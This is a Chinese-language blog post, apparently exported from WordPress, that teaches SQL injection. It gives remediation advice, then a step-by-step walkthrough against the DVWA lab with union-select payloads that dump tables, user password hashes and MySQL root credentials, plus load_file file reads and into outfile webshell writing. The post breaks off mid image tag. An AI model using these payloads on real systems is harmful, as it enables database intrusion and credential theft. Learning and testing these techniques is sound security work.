{"id":769,"date":"2025-10-24T14:58:56","date_gmt":"2025-10-24T06:58:56","guid":{"rendered":"https:\/\/www.youvii.site\/?p=769"},"modified":"2025-10-24T15:01:16","modified_gmt":"2025-10-24T07:01:16","slug":"sqlzhuru","status":"publish","type":"post","link":"https:\/\/www.youvii.site\/index.php\/archives\/sqlzhuru","title":{"rendered":"SQL\u6ce8\u5165"},"content":{"rendered":"<h1>SQL\u6ce8\u5165<\/h1>\n<h1>\u6982\u5ff5<\/h1>\n<p>Web\u7a0b\u5e8f\u4ee3\u7801\u5bf9\u4e8e\u7528\u6237\u63d0\u4ea4\u7684\u53c2\u6570\u672a\u505a\u8fc7\u6ee4\u76f4\u63a5\u653e\u5230SQL\u8bed\u53e5\u4e2d\u6267\u884c\uff0c\u5bfc\u81f4\u53c2\u6570\u7279\u6b8a\u5b57\u7b26\u4f20\u5165\u540e\u7aef\u62fc\u63a5\u6253\u7834SQL\u8bed\u53e5\u539f\u6709\u903b\u8f91\uff0c\u9ed1\u5ba2\u5229\u7528\u8be5\u6f0f\u6d1e\u6267\u884c\u4efb\u610fSQL\u8bed\u53e5\uff0c\u5982\u67e5\u8be2\u6570\u636e\uff0c\u4e0b\u8f7d\u6570\u636e\uff0c\u5199\u5165Webshell\uff0c\u6267\u884c\u6d17\u5934\u547d\u4ee4\u4ee5\u53ca\u7ed5\u8fc7\u767b\u5f55\u9650\u5236<\/p>\n<h1>\u6d4b\u8bd5\u65b9\u6cd5<\/h1>\n<p>\u53d1\u73b0\u6709\u53ef\u63a7\u53c2\u6570\u7684\u5730\u65b9\u4f7f\u7528sqlmap\u8fdb\u884cSQL\u6ce8\u5165\u7684\u68c0\u67e5\u6216\u8005\u5229\u7528\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u5176\u4ed6SQL\u6ce8\u5165\u5de5\u5177\uff0c\u7b80\u5355\u70b9\u53ef\u4ee5\u624b\u5de5\u6d4b\u8bd5\u5982\uff1a\u5355\u5f15\u53f7\uff0cand 1=1 \u548cand 1=2 \u4ee5\u53ca\u5b57\u7b26\u578b\u6ce8\u5165\u8fdb\u884c\u5224\u65ad\uff0c\u63a8\u8350\u4f7f\u7528burpsuite\u7684sqlmap\u63d2\u4ef6\uff0c\u9f20\u6807\u90ae\u4ef6\u5c31\u53ef\u4ee5\u5c06\u6570\u636e\u5305\u53d1\u9001\u5230sqlmap\u91cc\u9762\u8fdb\u884c\u68c0\u6d4b<\/p>\n<h1>\u4fee\u590d\u5efa\u8bae<\/h1>\n<h3>1. \u4f7f\u7528\u53c2\u6570\u5316\u67e5\u8be2\u6216\u9884\u7f16\u8bd1\u8bed\u53e5<\/h3>\n<ul>\n<li><strong>\u539f\u7406<\/strong>\uff1a\u53c2\u6570\u5316\u67e5\u8be2\u5141\u8bb8\u5f00\u53d1\u4eba\u5458\u5c06SQL\u547d\u4ee4\u4e0e\u8981\u4f20\u9012\u7684\u6570\u636e\u5206\u79bb\u3002\u8fd9\u6837\uff0c\u5373\u4f7f\u7528\u6237\u8f93\u5165\u5305\u542b\u6076\u610f\u5185\u5bb9\uff0c\u8fd9\u4e9b\u5185\u5bb9\u4e5f\u4f1a\u88ab\u89c6\u4e3a\u7eaf\u6587\u672c\u800c\u975e\u53ef\u6267\u884c\u4ee3\u7801\u3002<\/li>\n<li><strong>\u5b9e\u73b0<\/strong>\uff1a\u5927\u591a\u6570\u73b0\u4ee3\u7f16\u7a0b\u8bed\u8a00\u548c\u6846\u67b6\u90fd\u652f\u6301\u8fd9\u79cd\u505a\u6cd5\u3002\u4f8b\u5982\uff0c\u5728Python\u4e2d\u4f7f\u7528<code>sqlite3<\/code>\u5e93\u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7<code>?<\/code>\u5360\u4f4d\u7b26\u6765\u4ee3\u66ff\u76f4\u63a5\u62fc\u63a5\u5b57\u7b26\u4e32\uff1b\u800c\u5728Java\u4e2d\u53ef\u4ee5\u5229\u7528JDBC\u63d0\u4f9b\u7684PreparedStatement\u63a5\u53e3\u3002<\/li>\n<\/ul>\n<h3>2. \u5bf9\u6240\u6709\u5916\u90e8\u8f93\u5165\u8fdb\u884c\u9a8c\u8bc1<\/h3>\n<ul>\n<li><strong>\u68c0\u67e5\u7c7b\u578b<\/strong>\uff1a\u786e\u4fdd\u6bcf\u4e2a\u8f93\u5165\u7b26\u5408\u9884\u671f\u7684\u6570\u636e\u7c7b\u578b\uff08\u5982\u6570\u5b57\u3001\u65e5\u671f\u7b49\uff09\u3002<\/li>\n<li><strong>\u9650\u5236\u957f\u5ea6<\/strong>\uff1a\u4e3a\u6bcf\u4e2a\u8f93\u5165\u8bbe\u7f6e\u5408\u7406\u7684\u6700\u5927\u957f\u5ea6\u3002<\/li>\n<li><strong>\u767d\u540d\u5355\u8fc7\u6ee4<\/strong>\uff1a\u4ec5\u63a5\u53d7\u5df2\u77e5\u7684\u5b89\u5168\u503c\u3002\u6bd4\u5982\uff0c\u5982\u679c\u4e00\u4e2a\u5b57\u6bb5\u5e94\u8be5\u53ea\u5305\u542b\u5b57\u6bcd\uff0c\u5219\u62d2\u7edd\u6240\u6709\u975e\u5b57\u6bcd\u5b57\u7b26\u3002<\/li>\n<li><strong>\u6b63\u5219\u8868\u8fbe\u5f0f<\/strong>\uff1a\u4f7f\u7528\u6b63\u5219\u8868\u8fbe\u5f0f\u6765\u8fdb\u4e00\u6b65\u9650\u5b9a\u8f93\u5165\u683c\u5f0f\u3002<\/li>\n<\/ul>\n<h3>3. \u6700\u5c0f\u6743\u9650\u539f\u5219<\/h3>\n<ul>\n<li><strong>\u8d26\u6237\u6743\u9650\u7ba1\u7406<\/strong>\uff1a\u4e3a\u4e0d\u540c\u7684\u6570\u636e\u5e93\u64cd\u4f5c\u521b\u5efa\u5177\u6709\u6700\u5c0f\u5fc5\u8981\u6743\u9650\u7684\u72ec\u7acb\u8d26\u53f7\u3002\u4f8b\u5982\uff0c\u7528\u4e8e\u8bfb\u53d6\u6570\u636e\u7684\u8d26\u53f7\u4e0d\u5e94\u62e5\u6709\u4fee\u6539\u6216\u5220\u9664\u8bb0\u5f55\u7684\u6743\u5229\u3002<\/li>\n<li><strong>\u73af\u5883\u9694\u79bb<\/strong>\uff1a\u751f\u4ea7\u73af\u5883\u5e94\u4e0e\u6d4b\u8bd5\/\u5f00\u53d1\u73af\u5883\u4e25\u683c\u5206\u5f00\uff0c\u5e76\u4e14\u5404\u81ea\u4f7f\u7528\u72ec\u7acb\u7684\u6570\u636e\u5e93\u51ed\u8bc1\u3002<\/li>\n<\/ul>\n<h3>4. \u66f4\u65b0\u5e76\u6253\u8865\u4e01<\/h3>\n<ul>\n<li>\u5b9a\u671f\u68c0\u67e5\u6240\u4f7f\u7528\u7684\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf(DBMS)\u662f\u5426\u6709\u6700\u65b0\u7684\u5b89\u5168\u66f4\u65b0\uff0c\u5e76\u53ca\u65f6\u5b89\u88c5\u3002<\/li>\n<li>\u5173\u6ce8\u793e\u533a\u53d1\u5e03\u7684\u5173\u4e8e\u7279\u5b9aDBMS\u7248\u672c\u7684\u5b89\u5168\u516c\u544a\u3002<\/li>\n<\/ul>\n<h3>5. \u9519\u8bef\u5904\u7406<\/h3>\n<ul>\n<li>\u4e0d\u8981\u5411\u5ba2\u6237\u7aef\u663e\u793a\u8be6\u7ec6\u7684\u9519\u8bef\u4fe1\u606f\uff0c\u56e0\u4e3a\u8fd9\u53ef\u80fd\u66b4\u9732\u6709\u5173\u7cfb\u7edf\u5185\u90e8\u7ed3\u6784\u7684\u4fe1\u606f\u3002<\/li>\n<li>\u8bb0\u5f55\u9519\u8bef\u65e5\u5fd7\u4ee5\u4fbf\u540e\u7eed\u5206\u6790\uff0c\u4f46\u9700\u8981\u4fdd\u8bc1\u8fd9\u4e9b\u65e5\u5fd7\u672c\u8eab\u4e5f\u662f\u5b89\u5168\u5b58\u50a8\u7684\u3002<\/li>\n<\/ul>\n<h3>6. \u91c7\u7528ORM\u6846\u67b6<\/h3>\n<ul>\n<li>\u5bf9\u8c61\u5173\u7cfb\u6620\u5c04(ORM)\u5de5\u5177\u53ef\u4ee5\u5e2e\u52a9\u81ea\u52a8\u5904\u7406\u5f88\u591a\u5e95\u5c42\u7ec6\u8282\uff0c\u5305\u62ec\u9632\u6b62SQL\u6ce8\u5165\u3002\u4f46\u662f\uff0c\u8bf7\u6ce8\u610f\u6b63\u786e\u914d\u7f6e\u5b83\u4eec\u4ee5\u907f\u514d\u6f5c\u5728\u7684\u5b89\u5168\u95ee\u9898\u3002<\/li>\n<\/ul>\n<h1>\u4e0emysql\u6ce8\u5165\u76f8\u5173\u77e5\u8bc6<\/h1>\n<p>\u5728mysql5\u4ee5\u540e\uff0cmysql\u9ed8\u8ba4\u5728\u6570\u636e\u5e93\u4e2d\u5b58\u653e\u5728\u4e00\u4e2a\u53ebinfomation_schema\u91cc\u9762\uff0c\u8fd9\u4e2a\u5e93\u91cc\u6709\u5f88\u591a\u8868\uff0c\u91cd\u70b9\u662fcolumns\u3001tables\u3001shemata<\/p>\n<p>shemata\u8868\u5b57\u6bb5CHEMA_NAME\u8bb0\u5f55\u7740\u5e93\u7684\u4fe1\u606f<\/p>\n<p>tables\u8868\u5b57\u6bb5TABLE_SCHEMA\u3001TABLE_NAME\u5206\u522b\u8bb0\u5f55\u7740\u5e93\u540d\u548c\u8868\u540d<\/p>\n<p>columns\u5b58\u50a8\u8be5\u7528\u6237\u521b\u5efa\u7684\u6240\u6709\u6570\u636e\u5e93\u7684\u5e93\u540d\u3001\u8868\u540d\u3001\u5b57\u6bb5\u540d<\/p>\n<p>\u901a\u8fc7infomation_schema\u67e5\u8be2www_dvwa_com\u5e93\u91cc\u6240\u6709\u7684\u8868\u548c\u5b57\u6bb5<\/p>\n<p>Select * from infomation_schema.COLUMNS where TABLE_SCHEMA=&#8217;www_dvwa_com&#8217;<\/p>\n<h1>SQL\u6ce8\u5165\u539f\u7406<\/h1>\n<p>SQL\u6ce8\u5165\u6f0f\u6d1e\u4ea7\u751f\u9700\u8981\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6<\/p>\n<p>1\u3001\u53c2\u6570\u7528\u6237\u53ef\u63a7\uff1a\u4ece\u524d\u7aef\u4f20\u7ed9\u540e\u7aef\u7684\u53c2\u6570\u7528\u6237\u53ef\u4ee5\u63a7\u5236<\/p>\n<p>2\u3001\u53c2\u6570\u5e26\u5165\u6570\u636e\u5e93\u67e5\u8be2\uff1a\u4f20\u5165\u7684\u53c2\u6570\u62fc\u63a5\u5230SQL\u8bed\u53e5\uff0c\u4e14\u5e26\u5165\u6570\u636e\u5e93\u67e5\u8be2<\/p>\n<p>\u5f53\u7528\u6237\u4f20\u8f93\u53c2\u6570\u4e3a1&#8217;\u7684\u65f6\u5019\uff0c\u8fd9\u6570\u636e\u5e93\u6267\u884c\u5982\u4e0b\u6240\u793a<\/p>\n<p>select * from users where id=1&#8242;<\/p>\n<p>\u6b64SQL\u8bed\u53e5\u4e0d\u7b26\u5408\u8bed\u6cd5\u89c4\u5219\u4f1a\u62a5\u9519<\/p>\n<p>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#8221;&#8217;at line 1<\/p>\n<p>\u5f53\u7528\u6237\u4f20\u5165\u53c2\u6570\u4e3a1 and 1=1\u65f6 <\/p>\n<p>Select * from users where id =1 and 1=1<\/p>\n<p>\u56e0\u4e3a1=1\u4e3a\u771f id==1\u4e5f\u662f\u771f and\u4e24\u8fb9\u5747\u4e3a\u771f \u6240\u4ee5\u9875\u9762\u4f1a\u8fd4\u56deid=1\u7684\u7ed3\u679c<\/p>\n<p>\u5982\u679c\u7528\u6237\u4f20\u8f93\u53c2\u6570\u4e3a1 and 1=2 \u65f6<\/p>\n<p>\u56e0\u4e3a1=2\u4e3a\u5047 id=1\u4e3a\u771f and\u4e24\u8fb9\u6709\u4e00\u4e2a\u4e3a\u5047\uff0c\u6240\u4ee5\u9875\u9762\u8fd4\u56de\u4e0eid=1\u4e0d\u4e00\u6837\u7684\u7ed3\u679c<\/p>\n<p>\u7531\u6b64\u53ef\u4ee5\u521d\u6b65\u5224\u65ad\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u4e00\u6b65\u62fc\u63a5SQL\u653b\u51fb\u8bed\u53e5\u8fdb\u884c\u653b\u51fb\uff0c\u81f4\u4f7f\u4fe1\u606f\u6cc4\u9732\uff0c\u83b7\u53d6\u670d\u52a1\u5668\u6743\u9650<\/p>\n<h1>\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165<\/h1>\n<p>\u56de\u663e\u6307\u9875\u9762\u6709\u6570\u636e\uff0c\u4fe1\u606f\u8fd4\u56de<\/p>\n<p>id =1 and 1=1<\/p>\n<p>id =1 and 1=2<\/p>\n<p>id =1 or 1=1<\/p>\n<p>id =&#8217;1&#8242; or &#8216;1&#8217;=&#8217;1&#8242;<\/p>\n<p>id=&quot;1&quot;or&quot;1&quot;=&quot;1&quot;<\/p>\n<p>\u65e0\u56de\u663e\u6307 \u6839\u636e\u8f93\u5165\u7684\u8bed\u53e5\uff0c\u9875\u9762\u6ca1\u6709\u4efb\u4f55\u53d8\u5316\uff0c\u6216\u8005\u6ca1\u6709\u6570\u636e\u5e93\u4e2d\u5185\u5b58\u56de\u5230\u7f51\u9875\u4e2d<\/p>\n<h1>\u4e09\u79cdsql\u6ce8\u91ca\u7b26<\/h1>\n<h1>\u5355\u884c\u6ce8\u91ca \u6ce8\u610f\u4e0eurl\u4e2d#\u8fdb\u884c\u533a\u5206\uff0c\u5e38\u7f16\u7801\u4e3a%23<\/h1>\n<p>&#8211;\u7a7a\u683c    \u5355\u884c\u6ce8\u91ca\uff0c\u6ce8\u610f\u77ed\u7ebf\u77ed\u7ebf\u7a7a\u683c<\/p>\n<p>\/<em>( )<\/em>\/     \u591a\u884c\u6ce8\u91ca\uff0c\u81f3\u5c11\u5b58\u5728\u4fe9\u5904\u6ce8\u5165 \/**\/\u5e38\u7528\u6765\u4f5c\u4e3a\u7a7a\u683c <\/p>\n<h1>\u6ce8\u5165\u6d41\u7a0b<\/h1>\n<p>\u662f\u5426\u5b58\u5728\u6ce8\u5165\u5e76\u4e14\u5224\u65ad\u6ce8\u5165\u7c7b\u578b<\/p>\n<p>\u5224\u65ad\u5b57\u6bb5\u6570 order by<\/p>\n<p>\u786e\u5b9a\u56de\u663e\u70b9 union select 1,2<\/p>\n<p>\u67e5\u8be2\u6570\u636e\u5e93\u4fe1\u606f @@version @@datadir<\/p>\n<p>\u67e5\u8be2\u7528\u6237\u540d,\u6570\u636e\u5e93\u540d user() database()<\/p>\n<p>\u6587\u4ef6\u8bfb\u53d6 union select 1,load_file(&#8216;C:windowswin.ini&#8217;)#<\/p>\n<p>\u5199\u5165webshell select.into outfile&#8230;<\/p>\n<h1>\u6ce8\u5165\u7684\u5206\u7c7b<\/h1>\n<p>SQL\u6ce8\u5165\u5206\u7c7b\uff0c\u6309\u7167SQLmap\u4e2d\u5206\u7c7b\u6765\u770b\uff0cSQL\u6ce8\u5165\u7c7b\u578b\u6709\u4e00\u4e0b5\u79cd<\/p>\n<p>UNION query SQL injection \u53ef\u8054\u5408\u67e5\u8be2\u6ce8\u5165<\/p>\n<p>Sttackerd queries SQL injection \u53ef\u591a\u8bed\u53e5\u67e5\u8be2\u6ce8\u5165 \u5806\u53e0\u67e5\u8be2<\/p>\n<p>Boolean-based blind SQL injection \u5e03\u5c14\u578b\u6ce8\u5165\uff08\u5e03\u5c14\u76f2\u6ce8\uff09<\/p>\n<p>Error-based SQL injection \u62a5\u9519\u578b\u6ce8\u5165<\/p>\n<p>Time-based blind SQL injection \u57fa\u4e8e\u65f6\u95f4\u5ef6\u8fdf\u6ce8\u5165<\/p>\n<h1>\u63a5\u53d7\u8bf7\u6c42\u7c7b\u578b\u533a\u5206<\/h1>\n<h3>GET\u6ce8\u5165<\/h3>\n<p>GET\u8bf7\u6c42\u7684\u53c2\u6570\u5565\u653e\u5728URL\u91cc\u7684,GET\u8bf7\u6c42\u7684URL\u4f20\u53c2\u6709\u957f\u5ea6\u9650\u5236\uff0c\u4e2d\u6587\u9700\u8981URL\u7f16\u7801<\/p>\n<h3>POST\u6ce8\u5165<\/h3>\n<p>POST\u8bf7\u6c42\u53c2\u6570\u662f\u653e\u5728\u8bf7\u6c42body\u91cc\u7684\uff0c\u957f\u5ea6\u6ca1\u6709\u9650\u5236<\/p>\n<h3>COOKIE\u6ce8\u5165<\/h3>\n<p>cookie\u53c2\u6570\u653e\u5728\u8bf7\u6c42\u5934\u4fe1\u606f\uff0c\u63d0\u4ea4\u7684\u65f6\u5019\uff0c\u670d\u52a1\u5668\u4f1a\u4ece\u8bf7\u6c42\u5934\u83b7\u53d6<\/p>\n<h1>\u6ce8\u5165\u6570\u636e\u7c7b\u578b\u7684\u533a\u5206<\/h1>\n<h3>int\u6574\u5f62<\/h3>\n<p>select * from users where id = 1<\/p>\n<h3>sting\u5b57\u7b26\u578b<\/h3>\n<p>select * from users where username=&#8217;admin&#8217;<\/p>\n<h3>like\u641c\u7d22\u578b<\/h3>\n<p>select * from news where title like&#8217;%\u6807\u9898%&#8217;<\/p>\n<h1>SQL\u6ce8\u5165\u5e38\u89c4\u5229\u7528\u601d\u8def<\/h1>\n<p>1\u3001\u5bfb\u627e\u6ce8\u5165\u70b9\uff0c\u53ef\u4ee5\u901a\u8fc7web\u626b\u63cf\u5de5\u5177\u53d1\u73b0<\/p>\n<p>2\u3001\u901a\u8fc7\u6ce8\u5165\u70b9\u5c1d\u8bd5\u83b7\u5f97\u5173\u4e8e\u8fde\u63a5\u6570\u636e\u5e93\u7528\u6237\u540d\u3001\u6570\u636e\u5e93\u540d\u79f0\u3001\u8fde\u63a5\u6570\u636e\u5e93\u7528\u6237\u6743\u9650\u3001\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f\u3001\u6570\u636e\u5e93\u7248\u672c\u7b49\u76f8\u5173\u4fe1\u606f<\/p>\n<p>3\u3001\u731c\u89e3\u5173\u952e\u6570\u636e\u5e93\u8868\u53ca\u5176\u7ec8\u4e8e\u5b57\u6bb5\u4e0e\u5185\u5bb9\uff08\u5e38\u89c1\u5982\u5b58\u653e\u7ba1\u7406\u5458\u8d26\u6237\u7684\u8868\u540d\uff0c\u5b57\u6bb5\u540d\u7b49\u4fe1\u606f\uff09\u8fd8\u53ef\u4ee5\u83b7\u53d6\u6570\u636e\u5e93\u7684root\u8d26\u53f7\u5bc6\u7801<\/p>\n<p>4\u3001\u53ef\u4ee5\u901a\u8fc7\u83b7\u5f97\u7684\u7528\u6237\u4fe1\u606f\u5bfb\u627e\u540e\u53f0\u767b\u5f55<\/p>\n<p>5\u3001\u5229\u7528\u540e\u53f0\u6216\u4e86\u89e3\u7684\u8fdb\u4e00\u6b65\u4fe1\u606f<\/p>\n<h1>\u624b\u5de5\u6ce8\u5165\u601d\u8def<\/h1>\n<p>1\u3001\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165\uff0c\u6ce8\u5165\u662f\u5b57\u7b26\u578b\u8fd8\u662f\u6570\u5b57\u578b<\/p>\n<p>2\u3001\u731c\u89e3SQL\u67e5\u8be2\u8bed\u53e5\u4e2d\u7684\u5b57\u6bb5\u6570<\/p>\n<p>3\u3001\u786e\u5b9a\u663e\u793a\u7684\u5b57\u6bb5\u987a\u5e8f<\/p>\n<p>4\u3001\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93<\/p>\n<p>5\u3001\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u7684\u8868<\/p>\n<p>6\u3001\u83b7\u53d6\u8868\u4e2d\u5b57\u6bb5\u540d<\/p>\n<p>7\u3001\u67e5\u8be2\u8d26\u6237\u6570\u636e<\/p>\n<h1>SQL\u8be6\u7ec6\u6ce8\u5165\u8fc7\u7a0b<\/h1>\n<h2>\u731c\u6570\u636e\u5e93<\/h2>\n<p>1&#8242; union select 1,database()<\/p>\n<p>payload\u5229\u7528\u53e6\u4e00\u79cd\u65b9\u5f0f\uff1a<\/p>\n<p>1&#8217;union select user(),database()<\/p>\n<p>version()<\/p>\n<p>\u5f97\u5230\u6570\u636e\u5e93dvwa<\/p>\n<p>\uff1aunion\u67e5\u8be2\u7ed3\u5408\u4e86\u4e24\u4e2aselect\u67e5\u8be2\u7ed3\u679c\uff0c\u6839\u636e\u4e0a\u9762\u7684oderby\u8bed\u53e5\u6211\u4eec\u77e5\u9053\u67e5\u8be2\u5305\u542b\u4e24\u5217\uff0c\u4e3a\u4e86\u5b9e\u73b0\u4e24\u5217\u67e5\u8be2\u7ed3\u679c\uff0c\u9700\u8981union\u67e5\u8be2\u7ed3\u5408\u6211\u4eec\u6784\u9020\u53e6\u5916\u4e00\u4e2aselect \u6ce8\u610f\u4f7f\u7528union\u67e5\u8be2\u7684\u65f6\u5019\u9700\u8981\u548c\u4e3b\u67e5\u8be2\u5217\u6570\u76f8\u540c<\/p>\n<h2>\u731c\u8868\u540d<\/h2>\n<p>1&#8242; union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()<\/p>\n<p>\u5f97\u5230\u8868\u540d guestbook,users<\/p>\n<p>group_concat\u5206\u7ec4<\/p>\n<h2>\u731c\u5217\u540d<\/h2>\n<p>1&#8242; union select 1,gourp_cancat(column_name) from information_schema.columns where table_name = 0x7573657273#<\/p>\n<p>1&#8242; union select 1,group_cancat(column_name) from information_schema.columns whewre table_name = &#8216;users&#8217;#<\/p>\n<p>(\u7528\u7f16\u7801\u5c31\u4e0d\u7528\u5355\u5f15\u53f7\uff0c\u7528\u5355\u5f15\u53f7\u5c31\u4e0d\u7528\u7f16\u7801)<\/p>\n<p>\u5f97\u5230\u5217\uff1a<\/p>\n<p>user_id,first_name,last_name,users,password,avatar,last_login,failed_login,id,username,password<\/p>\n<p>1&#8242; union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users#<\/p>\n<p>\u5f97\u5230\u7528\u6237\u6570\u636e <\/p>\n<p>admin &#8230;..<\/p>\n<p>\u731croot\u7528\u6237\uff1a<\/p>\n<p>1&#8242; union select 1,group_concat(user,password) from mysql.user#<\/p>\n<p>\u5f97\u5230root\u7528\u6237\u4fe1\u606f<\/p>\n<p>root*&#8230;.<\/p>\n<h1>Union\u8054\u5408\u67e5\u8be2\u6ce8\u5165<\/h1>\n<p>\u8054\u5408\u67e5\u8be2\u6ce8\u5165\u662f\u8054\u5408\u4e24\u4e2a\u8868\u8fdb\u884c\u6ce8\u5165 \u4f7f\u7528\u5173\u952e\u8bcdunion select \u5bf9\u4e24\u4e2a\u8868\u8fdb\u884c\u8054\u5408\u67e5\u8be2\uff0c\u4e24\u4e2a\u8868\u7684\u5b57\u6bb5\u8981\u76f8\u540c\uff0c\u4e0d\u7136\u4f1a\u51fa\u73b0\u62a5\u9519<\/p>\n<p>\u6574\u5408\u8054\u5408\u67e5\u8be2\u65b9\u6cd5<\/p>\n<p>Select * from guestbook Where comment_id =1 union select 1,2,3 from users guestbook \u6709\u4e09\u4e2a\u5b57\u6bb5users \u4e5f\u9700\u8981\u6709\u4e09\u4e2a\u4e0e\u4e4b\u5339\u914d<\/p>\n<p>\u8fd9\u4e9b\u6570\u5b57\u53ef\u4ee5\u66ff\u6362\u6210\u5b57\u6bb5\u7684\u540d\u79f0\u6216\u8005\u51fd\u6570<\/p>\n<p>\u66ff\u6362\u6210\u51fd\u6570<\/p>\n<p>select * from guestbook where comment_id =1 union select database(),user(),version() from users<\/p>\n<p>\u5982\u679c\u6ca1\u6709\u52a0\u4e0alimit\u9650\u5b9a\u6761\u4ef6\u4f1a\u628a\u6240\u6709\u5185\u5bb9\u67e5\u8be2\u51fa\u6765\uff0c\u6240\u4ee5\u90fd\u4f1a\u52a0\u4e0alimit 1\u9650\u5b9a<\/p>\n<p>select * from guestbook where comment_id =1 union  select user_id,user,password from users limit 1<\/p>\n<p>\u4f46\u662f\u53ea\u4f1a\u663e\u793a\u7b2c\u4e00\u6761\uff0c\u56e0\u4e3aselect * from guestbook where comment_id =1\u8fd9\u4e2a\u8bed\u53e5\u662f\u5b58\u5728\u8bb0\u5f55\u7684\uff0c\u5982\u679c\u60f3\u8981admin\u7684\u5185\u5bb9\u53ef\u4ee5\u628a1\u6362\u6210\u5176\u4ed6\u4e0d\u5b58\u5728\u7684\u8bb0\u5f55\uff0c\u56e0\u4e3a\u9ed8\u8ba4\u8d1f\u6570\u5c31\u8868\u793a\u4e0d\u5b58\u5728\u7684 \u6240\u4ee5\u53ef\u4ee5\u5728\u6570\u5b57\u524d\u52a0\u4e0a- \u5373\u53ef\u663e\u793a\u7b2c\u4e8c\u4e2a\u8868\u7684\u5185\u5bb9<\/p>\n<p>select * from guestbook where comment_id =-1 union select user_id,user,password from users limit 1<\/p>\n<h2>union\u8054\u5408\u6ce8\u5165\u653b\u51fb<\/h2>\n<p>\u4f7f\u7528$_request\u76f4\u63a5\u63a5\u6536id\u53c2\u6570\uff0c\u4e14\u6ca1\u6709\u8fdb\u884c\u8fc7\u4e86\uff0c\u4e14\u53ef\u4ee5\u63a5\u6536cookie get post\u8fd9\u4e9b\u4f20\u9012\u65b9\u6cd5\uff0c\u5f53\u4f20\u51651\u65f6\uff0c\u9875\u9762\u6b63\u5e38\u8fd4\u56de\u7528\u6237\u4fe1\u606f<\/p>\n<p>\u5982\u679c\u4f20\u51651&#8217;\u8bed\u6cd5\u4f1a\u51fa\u73b0\u8bed\u53e5You have an error in your SQL syntax\u8fd9\u79cd\u662fmysql\u8bed\u6cd5\u9519\u8bef\u63d0\u793a<\/p>\n<p>\u6839\u636e\u4ee3\u7801\u5206\u6790&#8217;$id&#8217;\u662f\u5c5e\u4e8e\u5b57\u7b26\u4e32\u7c7b\u578b\uff0c\u6240\u4ee5\u5728\u8fdb\u884cSQL\u6ce8\u5165\u68c0\u6d4b\u7684\u65f6\u5019\u8981\u6ce8\u610f\u5339\u914d\u5b57\u7b26\u4e32<\/p>\n<h1>\u5224\u65adSQL\u6ce8\u5165<\/h1>\n<p>\u8f93\u51651&#8217;and&#8217;1&#8217;=&#8217;1\u9875\u9762\u8fd4\u56de\u7528\u6237\u4fe1\u606f 1&#8217;and &#8216;1&#8217;=&#8217;2 \u9875\u9762\u8fd4\u56de\u4e0d\u4e00\u6837\u7684\u4fe1\u606f\uff0c\u57fa\u672c\u53ef\u4ee5\u786e\u5b9a\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5c3bbabb.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745894260813-0308983c-e385-4b4b-8123-1dd4486795f9.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5c64ec59.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745894286624-5ca5bd47-f638-46ec-890f-f939bd7b3295.png\" \/><\/p>\n<h2>\u5224\u65ad\u5b57\u6bb5\u6570<\/h2>\n<p>\u4f7f\u7528\u8bed\u53e5 order by \u786e\u5b9a\u5f53\u524d\u8868\u7684\u5b57\u7b26\u6570<\/p>\n<p>order by 1 \u5982\u679c\u9875\u9762\u8fd4\u56de\u6b63\u5e38\uff0c\u5b57\u6bb5\u6570\u4e0d\u5c11\u4e8e1, order by 2\u4e0d\u5c11\u4e8e2 \u8bf8\u5982\u6b64\u7c7b\uff0c\u76f4\u5230\u9875\u9762\u51fa\u9519\uff0c\u6b63\u786e\u5b57\u6bb5\u4e66\u5565\u51fa\u9519\u6570\u5b57\u51cf1<\/p>\n<p>\u516c\u5f0f\uff1aorder by n-1<\/p>\n<p>1&#8242; orber by 1&#8211;+\u6b63\u5e38<\/p>\n<p>1&#8242; orber by 2&#8211;+\u6b63\u5e38<\/p>\n<p>1&#8242; orber by 3&#8211;+\u51fa\u9519<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5c880ce2.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745894827331-afa4a3bb-4693-4172-a9dd-0934ecebdcdc.png\" \/><\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5ca4c17e.png\" class=\"lazy\" loading=\"lazy\" alt=\"1745894816659-1f484c8d-106a-471f-946b-8a353828d00d.png\" \/><\/p>\n<p>\u952e\u5165\u8054\u5408\u67e5\u8be2<\/p>\n<p>1&#8242; union select 1,2 &#8211;+<\/p>\n<p><img loading="lazy" decoding="async" decoding=\"async\"  src=\"https:\/\/www.youvii.site\/wp-content\/themes\/lolimeow-lolimeowV13.13\/assets\/images\/loading.gif\" data-src=\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/24\/68fae5cc556d5.png\" class=\"lazy\" loading=\"lazy\" 